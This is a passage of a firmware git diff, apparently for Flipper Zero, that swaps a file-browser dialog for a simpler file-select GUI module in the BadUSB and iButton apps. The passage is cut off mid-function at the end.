b/applications/bad_usb/bad_usb_app.c @@ -1,5 +1,4 @@ #include "bad_usb_app_i.h" -#include "m-string.h" #include #include #include @@ -23,13 +22,33 @@ static void bad_usb_app_tick_event_callback(void* context) { scene_manager_handle_tick_event(app->scene_manager); } +static bool bad_usb_check_assets() { + Storage* fs_api = furi_record_open("storage"); + + File* dir = storage_file_alloc(fs_api); + bool ret = false; + + if(storage_dir_open(dir, BAD_USB_APP_PATH_FOLDER)) { + ret = true; + } + + storage_dir_close(dir); + storage_file_free(dir); + + furi_record_close("storage"); + + return ret; +} + BadUsbApp* bad_usb_app_alloc(char* arg) { BadUsbApp* app = malloc(sizeof(BadUsbApp)); - string_init(app->file_path); - if(arg != NULL) { - string_set_str(app->file_path, arg); + string_t filename; + string_init(filename); + path_extract_filename_no_ext(arg, filename); + strncpy(app->file_name, string_get_cstr(filename), BAD_USB_FILE_NAME_LEN); + string_clear(filename); } app->gui = furi_record_open("gui"); @@ -64,11 +83,13 @@ BadUsbApp* bad_usb_app_alloc(char* arg) { app->error = BadUsbAppErrorCloseRpc; scene_manager_next_scene(app->scene_manager, BadUsbSceneError); } else { - if(!string_empty_p(app->file_path)) { + if(*app->file_name != '\0') { scene_manager_next_scene(app->scene_manager, BadUsbSceneWork); - } else { - string_set_str(app->file_path, BAD_USB_APP_PATH_FOLDER); + } else if(bad_usb_check_assets()) { scene_manager_next_scene(app->scene_manager, BadUsbSceneFileSelect); + } else { + app->error = BadUsbAppErrorNoFiles; + scene_manager_next_scene(app->scene_manager, BadUsbSceneError); } } @@ -96,8 +117,6 @@ void bad_usb_app_free(BadUsbApp* app) { furi_record_close("notification"); furi_record_close("dialogs"); - string_clear(app->file_path); - free(app); } diff --git a/applications/bad_usb/bad_usb_app_i.h b/applications/bad_usb/bad_usb_app_i.h index c82419e0f..67f5816b8 100644 --- a/applications/bad_usb/bad_usb_app_i.h +++ b/applications/bad_usb/bad_usb_app_i.h @@ -16,6 +16,7 @@ #define BAD_USB_APP_PATH_FOLDER "/any/badusb" #define BAD_USB_APP_EXTENSION ".txt" +#define BAD_USB_FILE_NAME_LEN 40 typedef enum { BadUsbAppErrorNoFiles, @@ -31,7 +32,7 @@ struct BadUsbApp { Widget* widget; BadUsbAppError error; - string_t file_path; + char file_name[BAD_USB_FILE_NAME_LEN + 1]; BadUsb* bad_usb_view; BadUsbScript* bad_usb_script; }; diff --git a/applications/bad_usb/scenes/bad_usb_scene_file_select.c b/applications/bad_usb/scenes/bad_usb_scene_file_select.c index 1e6ba895a..82f03bab0 100644 --- a/applications/bad_usb/scenes/bad_usb_scene_file_select.c +++ b/applications/bad_usb/scenes/bad_usb_scene_file_select.c @@ -5,16 +5,14 @@ static bool bad_usb_file_select(BadUsbApp* bad_usb) { furi_assert(bad_usb); - // Input events and views are managed by file_browser - bool res = dialog_file_browser_show( + // Input events and views are managed by file_select + bool res = dialog_file_select_show( bad_usb->dialogs, - bad_usb->file_path, - bad_usb->file_path, + BAD_USB_APP_PATH_FOLDER, BAD_USB_APP_EXTENSION, - true, - &I_badusb_10px, - true); - + bad_usb->file_name, + sizeof(bad_usb->file_name), + NULL); return res; } diff --git a/applications/bad_usb/scenes/bad_usb_scene_work.c b/applications/bad_usb/scenes/bad_usb_scene_work.c index 516cbde3a..a3a46803a 100644 --- a/applications/bad_usb/scenes/bad_usb_scene_work.c +++ b/applications/bad_usb/scenes/bad_usb_scene_work.c @@ -2,8 +2,6 @@ #include "../bad_usb_app_i.h" #include "../views/bad_usb_view.h" #include "furi_hal.h" -#include "m-string.h" -#include "toolbox/path.h" void bad_usb_scene_work_ok_callback(InputType type, void* context) { furi_assert(context); @@ -30,9 +28,10 @@ void bad_usb_scene_work_on_enter(void* context) { string_t file_name; string_init(file_name); - path_extract_filename(app->file_path, file_name, true); - bad_usb_set_file_name(app->bad_usb_view, string_get_cstr(file_name)); - app->bad_usb_script = bad_usb_script_open(app->file_path); + bad_usb_set_file_name(app->bad_usb_view, app->file_name); + string_printf( + file_name, "%s/%s%s", BAD_USB_APP_PATH_FOLDER, app->file_name, BAD_USB_APP_EXTENSION); + app->bad_usb_script = bad_usb_script_open(file_name); string_clear(file_name); diff --git a/applications/bad_usb/views/bad_usb_view.c b/applications/bad_usb/views/bad_usb_view.c index 430885df3..5b6fe6e89 100644 --- a/applications/bad_usb/views/bad_usb_view.c +++ b/applications/bad_usb/views/bad_usb_view.c @@ -2,8 +2,6 @@ #include "../bad_usb_script.h" #include -#define MAX_NAME_LEN 64 - struct BadUsb { View* view; BadUsbOkCallback callback; @@ -11,7 +9,7 @@ struct BadUsb { }; typedef struct { - char file_name[MAX_NAME_LEN]; + char* file_name; BadUsbState state; uint8_t anim_frame; } BadUsbModel; @@ -151,11 +149,11 @@ void bad_usb_set_ok_callback(BadUsb* bad_usb, BadUsbOkCallback callback, void* c }); } -void bad_usb_set_file_name(BadUsb* bad_usb, const char* name) { +void bad_usb_set_file_name(BadUsb* bad_usb, char* name) { furi_assert(name); with_view_model( bad_usb->view, (BadUsbModel * model) { - strncpy(model->file_name, name, MAX_NAME_LEN); + model->file_name = name; return true; }); } diff --git a/applications/bad_usb/views/bad_usb_view.h b/applications/bad_usb/views/bad_usb_view.h index 80a47e2ca..f5a8a0fab 100755 --- a/applications/bad_usb/views/bad_usb_view.h +++ b/applications/bad_usb/views/bad_usb_view.h @@ -14,6 +14,6 @@ View* bad_usb_get_view(BadUsb* bad_usb); void bad_usb_set_ok_callback(BadUsb* bad_usb, BadUsbOkCallback callback, void* context); -void bad_usb_set_file_name(BadUsb* bad_usb, const char* name); +void bad_usb_set_file_name(BadUsb* bad_usb, char* name); void bad_usb_set_state(BadUsb* bad_usb, BadUsbState* st); diff --git a/applications/dialogs/dialogs.c b/applications/dialogs/dialogs.c index 8929dc116..cf4a2ad68 100644 --- a/applications/dialogs/dialogs.c +++ b/applications/dialogs/dialogs.c @@ -1,7 +1,6 @@ -#include "dialogs/dialogs_message.h" #include "dialogs_i.h" #include "dialogs_api_lock.h" -#include "dialogs_module_file_browser.h" +#include "dialogs_module_file_select.h" #include "dialogs_module_message.h" static DialogsApp* dialogs_app_alloc() { @@ -14,9 +13,9 @@ static DialogsApp* dialogs_app_alloc() { static void dialogs_app_process_message(DialogsApp* app, DialogsAppMessage* message) { UNUSED(app); switch(message->command) { - case DialogsAppCommandFileBrowser: + case DialogsAppCommandFileOpen: message->return_data->bool_value = - dialogs_app_process_module_file_browser(&message->data->file_browser); + dialogs_app_process_module_file_select(&message->data->file_select); break; case DialogsAppCommandDialog: message->return_data->dialog_value = diff --git a/applications/dialogs/dialogs.h b/applications/dialogs/dialogs.h index 536060565..9c71c0989 100644 --- a/applications/dialogs/dialogs.h +++ b/applications/dialogs/dialogs.h @@ -1,7 +1,6 @@ #pragma once #include #include -#include "m-string.h" #ifdef __cplusplus extern "C" { @@ -11,27 +10,25 @@ extern "C" { typedef struct DialogsApp DialogsApp; -/****************** FILE BROWSER ******************/ +/****************** FILE SELECT ******************/ /** - * Shows and processes the file browser dialog + * Shows and processes the file selection dialog * @param context api pointer - * @param result_path selected file path string pointer - * @param path preselected file path string pointer + * @param path path to directory * @param extension file extension to be offered for selection - * @param skip_assets true - do not show assets folders - * @param icon file icon pointer, NULL for default icon - * @param hide_ext true - hide extensions for files + * @param selected_filename buffer where the selected filename will be saved + * @param selected_filename_size and the size of this buffer + * @param preselected_filename filename to be preselected * @return bool whether a file was selected */ -bool dialog_file_browser_show( +bool dialog_file_select_show( DialogsApp* context, - string_ptr result_path, - string_ptr path, + const char* path, const char* extension, - bool skip_assets, - const Icon* icon, - bool hide_ext); + char* result, + uint8_t result_size, + const char* preselected_filename); /****************** MESSAGE ******************/ diff --git a/applications/dialogs/dialogs_api.c b/applications/dialogs/dialogs_api.c index fab3a5eae..c4efb287d 100644 --- a/applications/dialogs/dialogs_api.c +++ b/applications/dialogs/dialogs_api.c @@ -1,36 +1,31 @@ -#include "dialogs/dialogs_message.h" #include "dialogs_i.h" #include "dialogs_api_lock.h" -#include "m-string.h" -/****************** File browser ******************/ +/****************** File select ******************/ -bool dialog_file_browser_show( +bool dialog_file_select_show( DialogsApp* context, - string_ptr result_path, - string_ptr path, + const char* path, const char* extension, - bool skip_assets, - const Icon* icon, - bool hide_ext) { + char* result, + uint8_t result_size, + const char* preselected_filename) { FuriApiLock lock = API_LOCK_INIT_LOCKED(); furi_check(lock != NULL); DialogsAppData data = { - .file_browser = { + .file_select = { + .path = path, .extension = extension, - .result_path = result_path, - .file_icon = icon, - .hide_ext = hide_ext, - .skip_assets = skip_assets, - .preselected_filename = path, - + .result = result, + .result_size = result_size, + .preselected_filename = preselected_filename, }}; DialogsAppReturn return_data; DialogsAppMessage message = { .lock = lock, - .command = DialogsAppCommandFileBrowser, + .command = DialogsAppCommandFileOpen, .data = &data, .return_data = &return_data, }; diff --git a/applications/dialogs/dialogs_message.h b/applications/dialogs/dialogs_message.h index ccfbdece5..d7b5fabf4 100644 --- a/applications/dialogs/dialogs_message.h +++ b/applications/dialogs/dialogs_message.h @@ -2,27 +2,25 @@ #include #include "dialogs_i.h" #include "dialogs_api_lock.h" -#include "m-string.h" #ifdef __cplusplus extern "C" { #endif typedef struct { + const char* path; const char* extension; - bool skip_assets; - bool hide_ext; - const Icon* file_icon; - string_ptr result_path; - string_ptr preselected_filename; -} DialogsAppMessageDataFileBrowser; + char* result; + uint8_t result_size; + const char* preselected_filename; +} DialogsAppMessageDataFileSelect; typedef struct { const DialogMessage* message; } DialogsAppMessageDataDialog; typedef union { - DialogsAppMessageDataFileBrowser file_browser; + DialogsAppMessageDataFileSelect file_select; DialogsAppMessageDataDialog dialog; } DialogsAppData; @@ -32,7 +30,7 @@ typedef union { } DialogsAppReturn; typedef enum { - DialogsAppCommandFileBrowser, + DialogsAppCommandFileOpen, DialogsAppCommandDialog, } DialogsAppCommand; diff --git a/applications/dialogs/dialogs_module_file_browser.c b/applications/dialogs/dialogs_module_file_browser.c deleted file mode 100644 index ecd0ca79b..000000000 --- a/applications/dialogs/dialogs_module_file_browser.c +++ /dev/null @@ -1,59 +0,0 @@ -#include "dialogs_i.h" -#include "dialogs_api_lock.h" -#include "gui/modules/file_browser.h" - -typedef struct { - FuriApiLock lock; - bool result; -} DialogsAppFileBrowserContext; - -static void dialogs_app_file_browser_back_callback(void* context) { - furi_assert(context); - DialogsAppFileBrowserContext* file_browser_context = context; - file_browser_context->result = false; - API_LOCK_UNLOCK(file_browser_context->lock); -} - -static void dialogs_app_file_browser_callback(void* context) { - furi_assert(context); - DialogsAppFileBrowserContext* file_browser_context = context; - file_browser_context->result = true; - API_LOCK_UNLOCK(file_browser_context->lock); -} - -bool dialogs_app_process_module_file_browser(const DialogsAppMessageDataFileBrowser* data) { - bool ret = false; - Gui* gui = furi_record_open("gui"); - - DialogsAppFileBrowserContext* file_browser_context = - malloc(sizeof(DialogsAppFileBrowserContext)); - file_browser_context->lock = API_LOCK_INIT_LOCKED(); - - ViewHolder* view_holder = view_holder_alloc(); - view_holder_attach_to_gui(view_holder, gui); - view_holder_set_back_callback( - view_holder, dialogs_app_file_browser_back_callback, file_browser_context); - - FileBrowser* file_browser = file_browser_alloc(data->result_path); - file_browser_set_callback( - file_browser, dialogs_app_file_browser_callback, file_browser_context); - file_browser_configure( - file_browser, data->extension, data->skip_assets, data->file_icon, data->hide_ext); - file_browser_start(file_browser, data->preselected_filename); - - view_holder_set_view(view_holder, file_browser_get_view(file_browser)); - view_holder_start(view_holder); - API_LOCK_WAIT_UNTIL_UNLOCK(file_browser_context->lock); - - ret = file_browser_context->result; - - view_holder_stop(view_holder); - view_holder_free(view_holder); - file_browser_stop(file_browser); - file_browser_free(file_browser); - API_LOCK_FREE(file_browser_context->lock); - free(file_browser_context); - furi_record_close("gui"); - - return ret; -} diff --git a/applications/dialogs/dialogs_module_file_select.c b/applications/dialogs/dialogs_module_file_select.c new file mode 100644 index 000000000..f133c00a0 --- /dev/null +++ b/applications/dialogs/dialogs_module_file_select.c @@ -0,0 +1,59 @@ +#include "dialogs_i.h" +#include "dialogs_api_lock.h" +#include + +typedef struct { + FuriApiLock lock; + bool result; +} DialogsAppFileSelectContext; + +static void dialogs_app_file_select_back_callback(void* context) { + furi_assert(context); + DialogsAppFileSelectContext* file_select_context = context; + file_select_context->result = false; + API_LOCK_UNLOCK(file_select_context->lock); +} + +static void dialogs_app_file_select_callback(bool result, void* context) { + furi_assert(context); + DialogsAppFileSelectContext* file_select_context = context; + file_select_context->result = result; + API_LOCK_UNLOCK(file_select_context->lock); +} + +bool dialogs_app_process_module_file_select(const DialogsAppMessageDataFileSelect* data) { + bool ret = false; + Gui* gui = furi_record_open("gui"); + + DialogsAppFileSelectContext* file_select_context = malloc(sizeof(DialogsAppFileSelectContext)); + file_select_context->lock = API_LOCK_INIT_LOCKED(); + + ViewHolder* view_holder = view_holder_alloc(); + view_holder_attach_to_gui(view_holder, gui); + view_holder_set_back_callback( + view_holder, dialogs_app_file_select_back_callback, file_select_context); + + FileSelect* file_select = file_select_alloc(); + file_select_set_callback(file_select, dialogs_app_file_select_callback, file_select_context); + file_select_set_filter(file_select, data->path, data->extension); + file_select_set_result_buffer(file_select, data->result, data->result_size); + file_select_init(file_select); + if(data->preselected_filename != NULL) { + file_select_set_selected_file(file_select, data->preselected_filename); + } + + view_holder_set_view(view_holder, file_select_get_view(file_select)); + view_holder_start(view_holder); + API_LOCK_WAIT_UNTIL_UNLOCK(file_select_context->lock); + + ret = file_select_context->result; + + view_holder_stop(view_holder); + view_holder_free(view_holder); + file_select_free(file_select); + API_LOCK_FREE(file_select_context->lock); + free(file_select_context); + furi_record_close("gui"); + + return ret; +} diff --git a/applications/dialogs/dialogs_module_file_browser.h b/applications/dialogs/dialogs_module_file_select.h similarity index 54% rename from applications/dialogs/dialogs_module_file_browser.h rename to applications/dialogs/dialogs_module_file_select.h index b6cbdf6a5..749fe9c1d 100644 --- a/applications/dialogs/dialogs_module_file_browser.h +++ b/applications/dialogs/dialogs_module_file_select.h @@ -5,7 +5,7 @@ extern "C" { #endif -bool dialogs_app_process_module_file_browser(const DialogsAppMessageDataFileBrowser* data); +bool dialogs_app_process_module_file_select(const DialogsAppMessageDataFileSelect* data); #ifdef __cplusplus } diff --git a/applications/gui/modules/file_select.c b/applications/gui/modules/file_select.c new file mode 100644 index 000000000..14541196b --- /dev/null +++ b/applications/gui/modules/file_select.c @@ -0,0 +1,475 @@ +#include "file_select.h" +#include +#include +#include + +#define FILENAME_COUNT 4 + +struct FileSelect { + // public + View* view; + Storage* fs_api; + const char* path; + const char* extension; + + bool init_completed; + + FileSelectCallback callback; + void* context; + + char* buffer; + uint8_t buffer_size; +}; + +typedef struct { + string_t filename[FILENAME_COUNT]; + uint8_t position; + + uint16_t first_file_index; + uint16_t file_count; + +} FileSelectModel; + +bool file_select_fill_strings(FileSelect* file_select); +bool file_select_fill_count(FileSelect* file_select); +static bool file_select_init_inner(FileSelect* file_select); + +static void file_select_draw_callback(Canvas* canvas, void* _model) { + FileSelectModel* model = _model; + + string_t string_buff; + const uint8_t item_height = 16; + const uint8_t item_width = 123; + const uint8_t text_max_width = 115; + + canvas_clear(canvas); + canvas_set_font(canvas, FontSecondary); + + if(model->file_count) { + for(uint8_t i = 0; i < MIN(FILENAME_COUNT, model->file_count); i++) { + if(i == model->position) { + canvas_set_color(canvas, ColorBlack); + canvas_draw_box(canvas, 0, (i * item_height) + 1, item_width, item_height - 2); + + canvas_set_color(canvas, ColorWhite); + canvas_draw_dot(canvas, 0, (i * item_height) + 1); + canvas_draw_dot(canvas, 0, (i * item_height) + item_height - 2); + canvas_draw_dot(canvas, item_width - 1, (i * item_height) + 1); + canvas_draw_dot(canvas, item_width - 1, (i * item_height) + item_height - 2); + } else { + canvas_set_color(canvas, ColorBlack); + } + + string_init_set(string_buff, model->filename[i]); + elements_string_fit_width(canvas, string_buff, text_max_width); + canvas_draw_str( + canvas, 6, (i * item_height) + item_height - 4, string_get_cstr(string_buff)); + + string_clear(string_buff); + } + } else { + canvas_draw_str(canvas, 6, item_height, "Empty folder"); + } + elements_scrollbar(canvas, model->first_file_index + model->position, model->file_count); +} + +static bool file_select_input_callback(InputEvent* event, void* context) { + FileSelect* file_select = (FileSelect*)context; + bool consumed = false; + + if((event->type == InputTypeShort) | (event->type == InputTypeRepeat)) { + if(!file_select->init_completed) { + if(!file_select_init_inner(file_select)) { + file_select->callback(false, file_select->context); + } + } else if(event->key == InputKeyUp) { + with_view_model( + file_select->view, (FileSelectModel * model) { + if(model->position == 0) { + if(model->first_file_index == 0) { + // wrap + int16_t max_first_file_index = model->file_count - FILENAME_COUNT; + model->position = MIN(FILENAME_COUNT - 1, model->file_count - 1); + model->first_file_index = + max_first_file_index < 0 ? 0 : max_first_file_index; + } else { + model->first_file_index--; + } + } else if(model->position == 1) { + if(model->first_file_index == 0) { + model->position--; + } else { + model->first_file_index--; + } + } else { + model->position--; + } + return true; + }); + consumed = true; + if(!file_select_fill_strings(file_select)) { + file_select->callback(false, file_select->context); + } + } else if(event->key == InputKeyDown) { + with_view_model( + file_select->view, (FileSelectModel * model) { + uint16_t max_first_file_index = model->file_count > FILENAME_COUNT ? + model->file_count - FILENAME_COUNT : + 0; + + if(model->position >= MIN(FILENAME_COUNT - 1, model->file_count - 1)) { + if(model->first_file_index >= max_first_file_index) { + // wrap + model->position = 0; + model->first_file_index = 0; + } else { + model->first_file_index++; + } + } else if(model->position >= (FILENAME_COUNT - 2)) { + if(model->first_file_index >= max_first_file_index) { + model->position++; + } else { + model->first_file_index++; + } + } else { + model->position++; + } + return true; + }); + consumed = true; + if(!file_select_fill_strings(file_select)) { + file_select->callback(false, file_select->context); + } + } else if(event->key == InputKeyOk) { + if(file_select->callback != NULL) { + size_t files = 0; + if(file_select->buffer) { + with_view_model( + file_select->view, (FileSelectModel * model) { + files = model->file_count; + strlcpy( + file_select->buffer, + string_get_cstr(model->filename[model->position]), + file_select->buffer_size); + + return false; + }); + }; + if(files > 0) { + file_select->callback(true, file_select->context); + } + } + consumed = true; + } + } + + return consumed; +} + +static bool file_select_init_inner(FileSelect* file_select) { + bool result = false; + if(file_select->path && file_select->extension && file_select->fs_api) { + if(file_select_fill_count(file_select)) { + if(file_select_fill_strings(file_select)) { + file_select->init_completed = true; + result = true; + } + } + } + + return result; +} + +FileSelect* file_select_alloc() { + FileSelect* file_select = malloc(sizeof(FileSelect)); + file_select->view = view_alloc(); + file_select->fs_api = furi_record_open("storage"); + + view_set_context(file_select->view, file_select); + view_allocate_model(file_select->view, ViewModelTypeLockFree, sizeof(FileSelectModel)); + view_set_draw_callback(file_select->view, file_select_draw_callback); + view_set_input_callback(file_select->view, file_select_input_callback); + + with_view_model( + file_select->view, (FileSelectModel * model) { + for(uint8_t i = 0; i < FILENAME_COUNT; i++) { + string_init(model->filename[i]); + } + + model->first_file_index = 0; + model->file_count = 0; + return false; + }); + + return file_select; +} + +void file_select_free(FileSelect* file_select) { + furi_assert(file_select); + with_view_model( + file_select->view, (FileSelectModel * model) { + for(uint8_t i = 0; i < FILENAME_COUNT; i++) { + string_clear(model->filename[i]); + } + return false; + }); + view_free(file_select->view); + free(file_select); + furi_record_close("storage"); +} + +View* file_select_get_view(FileSelect* file_select) { + furi_assert(file_select); + return file_select->view; +} + +void file_select_set_callback(FileSelect* file_select, FileSelectCallback callback, void* context) { + file_select->context = context; + file_select->callback = callback; +} + +void file_select_set_filter(FileSelect* file_select, const char* path, const char* extension) { + furi_assert(file_select); + file_select->path = path; + file_select->extension = extension; +} + +void file_select_set_result_buffer(FileSelect* file_select, char* buffer, uint8_t buffer_size) { + file_select->buffer = buffer; + file_select->buffer_size = buffer_size; + + if(file_select->buffer) { + strlcpy(file_select->buffer, "", file_select->buffer_size); + } +} + +bool file_select_init(FileSelect* file_select) { + if(!file_select_init_inner(file_select)) { + file_select->callback(false, file_select->context); + return false; + } else { + return true; + } +} + +static bool filter_file(FileSelect* file_select, FileInfo* file_info, char* name) { + bool result = false; + + if(!(file_info->flags & FSF_DIRECTORY)) { + if(strcmp(file_select->extension, "*") == 0) { + result = true; + } else if(strstr(name, file_select->extension) != NULL) { + result = true; + } + } + + return result; +} + +bool file_select_fill_strings(FileSelect* file_select) { + furi_assert(file_select); + furi_assert(file_select->fs_api); + furi_assert(file_select->path); + furi_assert(file_select->extension); + + FileInfo file_info; + File* directory = storage_file_alloc(file_select->fs_api); + + uint8_t string_counter = 0; + uint16_t file_counter = 0; + const uint8_t name_length = 100; + char* name = malloc(name_length); + uint16_t first_file_index = 0; + + with_view_model( + file_select->view, (FileSelectModel * model) { + first_file_index = model->first_file_index; + return false; + }); + + if(!storage_dir_open(directory, file_select->path)) { + storage_dir_close(directory); + storage_file_free(directory); + free(name); + return true; + } + + while(1) { + if(!storage_dir_read(directory, &file_info, name, name_length)) { + break; + } + + if(storage_file_get_error(directory) == FSE_OK) { + if(filter_file(file_select, &file_info, name)) { + if(file_counter >= first_file_index) { + with_view_model( + file_select->view, (FileSelectModel * model) { + string_set_str(model->filename[string_counter], name); + + if(strcmp(file_select->extension, "*") != 0) { + string_replace_all_str( + model->filename[string_counter], file_select->extension, ""); + } + + return true; + }); + string_counter++; + + if(string_counter >= FILENAME_COUNT) { + break; + } + } + file_counter++; + } + } else { + storage_dir_close(directory); + storage_file_free(directory); + free(name); + return false; + } + } + + storage_dir_close(directory); + storage_file_free(directory); + free(name); + return true; +} + +bool file_select_fill_count(FileSelect* file_select) { + furi_assert(file_select); + furi_assert(file_select->fs_api); + furi_assert(file_select->path); + furi_assert(file_select->extension); + + FileInfo file_info; + File* directory = storage_file_alloc(file_select->fs_api); + + uint16_t file_counter = 0; + const uint8_t name_length = 100; + char* name = malloc(name_length); + + if(!storage_dir_open(directory, file_select->path)) { + storage_dir_close(directory); + storage_file_free(directory); + free(name); + return true; + } + + while(1) { + if(!storage_dir_read(directory, &file_info, name, name_length)) { + break; + } + + if(storage_file_get_error(directory) == FSE_OK) { + if(filter_file(file_select, &file_info, name)) { + file_counter++; + } + } else { + storage_dir_close(directory); + storage_file_free(directory); + free(name); + return false; + } + } + + with_view_model( + file_select->view, (FileSelectModel * model) { + model->file_count = file_counter; + return false; + }); + + storage_dir_close(directory); + storage_file_free(directory); + free(name); + return true; +} + +void file_select_set_selected_file_internal(FileSelect* file_select, const char* filename) { + furi_assert(file_select); + furi_assert(filename); + furi_assert(file_select->fs_api); + furi_assert(file_select->path); + furi_assert(file_select->extension); + + if(strlen(filename) == 0) return; + + FileInfo file_info; + File* directory = storage_file_alloc(file_select->fs_api); + + const uint8_t name_length = 100; + char* name = malloc(name_length); + uint16_t file_position = 0; + bool file_found = false; + + string_t filename_str; + string_init_set_str(filename_str, filename); + if(strcmp(file_select->extension, "*") != 0) { + string_cat_str(filename_str, file_select->extension); + } + + if(!storage_dir_open(directory, file_select->path)) { + string_clear(filename_str); + storage_dir_close(directory); + storage_file_free(directory); + free(name); + return; + } + + while(1) { + if(!storage_dir_read(directory, &file_info, name, name_length)) { + break; + } + + if(storage_file_get_error(directory) == FSE_OK) { + if(filter_file(file_select, &file_info, name)) { + if(strcmp(string_get_cstr(filename_str), name) == 0) { + file_found = true; + break; + } + + file_position++; + } + } else { + string_clear(filename_str); + storage_dir_close(directory); + storage_file_free(directory); + free(name); + return; + } + } + + if(file_found) { + with_view_model( + file_select->view, (FileSelectModel * model) { + uint16_t max_first_file_index = + model->file_count > FILENAME_COUNT ? model->file_count - FILENAME_COUNT : 0; + + model->first_file_index = file_position; + + if(model->first_file_index > 0) { + model->first_file_index -= 1; + } + + if(model->first_file_index >= max_first_file_index) { + model->first_file_index = max_first_file_index; + } + + model->position = file_position - model->first_file_index; + + return true; + }); + } + + string_clear(filename_str); + storage_dir_close(directory); + storage_file_free(directory); + free(name); +} + +void file_select_set_selected_file(FileSelect* file_select, const char* filename) { + file_select_set_selected_file_internal(file_select, filename); + + if(!file_select_fill_strings(file_select)) { + file_select->callback(false, file_select->context); + } +} diff --git a/applications/gui/modules/file_select.h b/applications/gui/modules/file_select.h new file mode 100644 index 000000000..ed3d5b60c --- /dev/null +++ b/applications/gui/modules/file_select.h @@ -0,0 +1,31 @@ +/** + * @file file_select.h + * GUI: FileSelect view module API + */ + +#pragma once + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct FileSelect FileSelect; + +typedef void (*FileSelectCallback)(bool result, void* context); + +FileSelect* file_select_alloc(); + +void file_select_free(FileSelect* file_select); +View* file_select_get_view(FileSelect* file_select); + +void file_select_set_callback(FileSelect* file_select, FileSelectCallback callback, void* context); +void file_select_set_filter(FileSelect* file_select, const char* path, const char* extension); +void file_select_set_result_buffer(FileSelect* file_select, char* buffer, uint8_t buffer_size); +bool file_select_init(FileSelect* file_select); +void file_select_set_selected_file(FileSelect* file_select, const char* filename); + +#ifdef __cplusplus +} +#endif diff --git a/applications/gui/modules/validators.c b/applications/gui/modules/validators.c index 546423d02..242dbe682 100644 --- a/applications/gui/modules/validators.c +++ b/applications/gui/modules/validators.c @@ -3,7 +3,7 @@ #include "applications/storage/storage.h" struct ValidatorIsFile { - char* app_path_folder; + const char* app_path_folder; const char* app_extension; char* current_name; }; @@ -40,7 +40,7 @@ ValidatorIsFile* validator_is_file_alloc_init( const char* current_name) { ValidatorIsFile* instance = malloc(sizeof(ValidatorIsFile)); - instance->app_path_folder = strdup(app_path_folder); + instance->app_path_folder = app_path_folder; instance->app_extension = app_extension; instance->current_name = strdup(current_name); @@ -49,7 +49,6 @@ ValidatorIsFile* validator_is_file_alloc_init( void validator_is_file_free(ValidatorIsFile* instance) { furi_assert(instance); - free(instance->app_path_folder); free(instance->current_name); free(instance); } diff --git a/applications/ibutton/ibutton.c b/applications/ibutton/ibutton.c index b1b5bf62f..a38f077f3 100644 --- a/applications/ibutton/ibutton.c +++ b/applications/ibutton/ibutton.c @@ -1,8 +1,7 @@ #include "ibutton.h" -#include "assets_icons.h" #include "ibutton_i.h" #include "ibutton/scenes/ibutton_scene.h" -#include "m-string.h" + #include #include @@ -86,8 +85,6 @@ void ibutton_tick_event_callback(void* context) { iButton* ibutton_alloc() { iButton* ibutton = malloc(sizeof(iButton)); - string_init(ibutton->file_path); - ibutton->scene_manager = scene_manager_alloc(&ibutton_scene_handlers, ibutton); ibutton->view_dispatcher = view_dispatcher_alloc(); @@ -179,28 +176,49 @@ void ibutton_free(iButton* ibutton) { ibutton_worker_free(ibutton->key_worker); ibutton_key_free(ibutton->key); - string_clear(ibutton->file_path); - free(ibutton); } bool ibutton_file_select(iButton* ibutton) { - bool success = dialog_file_browser_show( + bool success = dialog_file_select_show( ibutton->dialogs, - ibutton->file_path, - ibutton->file_path, + IBUTTON_APP_FOLDER, IBUTTON_APP_EXTENSION, - true, - &I_ibutt_10px, - true); + ibutton->file_name, + IBUTTON_FILE_NAME_SIZE, + ibutton_key_get_name_p(ibutton->key)); if(success) { - success = ibutton_load_key_data(ibutton, ibutton->file_path); + string_t key_str; + string_init_printf( + key_str, "%s/%s%s", IBUTTON_APP_FOLDER, ibutton->file_name, IBUTTON_APP_EXTENSION); + success = ibutton_load_key_data(ibutton, key_str); + + if(success) { + ibutton_key_set_name(ibutton->key, ibutton->file_name); + } + + string_clear(key_str); } return success; } +bool ibutton_load_key(iButton* ibutton, const char* key_name) { + string_t key_path; + string_init_set_str(key_path, key_name); + + const bool success = ibutton_load_key_data(ibutton, key_path); + + if(success) { + path_extract_filename_no_ext(key_name, key_path); + ibutton_key_set_name(ibutton->key, string_get_cstr(key_path)); + } + + string_clear(key_path); + return success; +} + bool ibutton_save_key(iButton* ibutton, const char* key_name) { // Create ibutton directory if necessary ibutton_make_app_folder(ibutton); @@ -208,22 +226,27 @@ bool ibutton_save_key(iButton* ibutton, const char* key_name) { FlipperFormat* file = flipper_format_file_alloc(ibutton->storage); iButtonKey* key = ibutton->key; + string_t key_file_name; bool result = false; + string_init(key_file_name); do { // First remove key if it was saved (we rename the key) - ibutton_delete_key(ibutton); + if(!ibutton_delete_key(ibutton)) break; + + // Save the key + ibutton_key_set_name(key, key_name); // Set full file name, for new key - if(string_end_with_str_p(ibutton->file_path, IBUTTON_APP_EXTENSION)) { - size_t filename_start = string_search_rchar(ibutton->file_path, '/'); - string_left(ibutton->file_path, filename_start); - } - - string_cat_printf(ibutton->file_path, "/%s%s", key_name, IBUTTON_APP_EXTENSION); + string_printf( + key_file_name, + "%s/%s%s", + IBUTTON_APP_FOLDER, + ibutton_key_get_name_p(key), + IBUTTON_APP_EXTENSION); // Open file for write - if(!flipper_format_file_open_always(file, string_get_cstr(ibutton->file_path))) break; + if(!flipper_format_file_open_always(file, string_get_cstr(key_file_name))) break; // Write header if(!flipper_format_write_header_cstr(file, IBUTTON_APP_FILE_TYPE, 1)) break; @@ -248,6 +271,8 @@ bool ibutton_save_key(iButton* ibutton, const char* key_name) { flipper_format_free(file); + string_clear(key_file_name); + if(!result) { dialog_message_show_storage_error(ibutton->dialogs, "Cannot save\nkey file"); } @@ -256,8 +281,17 @@ bool ibutton_save_key(iButton* ibutton, const char* key_name) { } bool ibutton_delete_key(iButton* ibutton) { + string_t file_name; bool result = false; - result = storage_simply_remove(ibutton->storage, string_get_cstr(ibutton->file_path)); + + string_init_printf( + file_name, + "%s/%s%s", + IBUTTON_APP_FOLDER, + ibutton_key_get_name_p(ibutton->key), + IBUTTON_APP_EXTENSION); + result = storage_simply_remove(ibutton->storage, string_get_cstr(file_name)); + string_clear(file_name); return result; } @@ -301,17 +335,8 @@ int32_t ibutton_app(void* p) { ibutton_make_app_folder(ibutton); - bool key_loaded = false; - - if(p) { - string_set_str(ibutton->file_path, (const char*)p); - if(ibutton_load_key_data(ibutton, 